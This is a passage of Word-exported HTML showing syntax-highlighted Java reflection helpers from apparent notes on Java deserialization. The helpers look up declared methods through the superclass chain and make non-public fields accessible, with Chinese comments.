                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">for</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> superClass </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getClass</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> superClass </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">!=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> superClass </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> superClass</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getSuperclass</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">())</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> superClass</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getDeclaredMethod</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">methodName</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> parameterTypes</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">catch</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">NoSuchMethodException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> e</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">//Method 不在当前类定义, 继续向上转型</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  

                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">null</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  

                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/**</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">使</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> filed </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">变为可访问</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span>* @</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param field</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*/</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">static</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">void</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">makeAccessible</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Field</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> field</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">if</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(!</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Modifier</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">isPublic</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">field</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getModifiers</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">()))</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span>field</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">setAccessible</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">true</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  

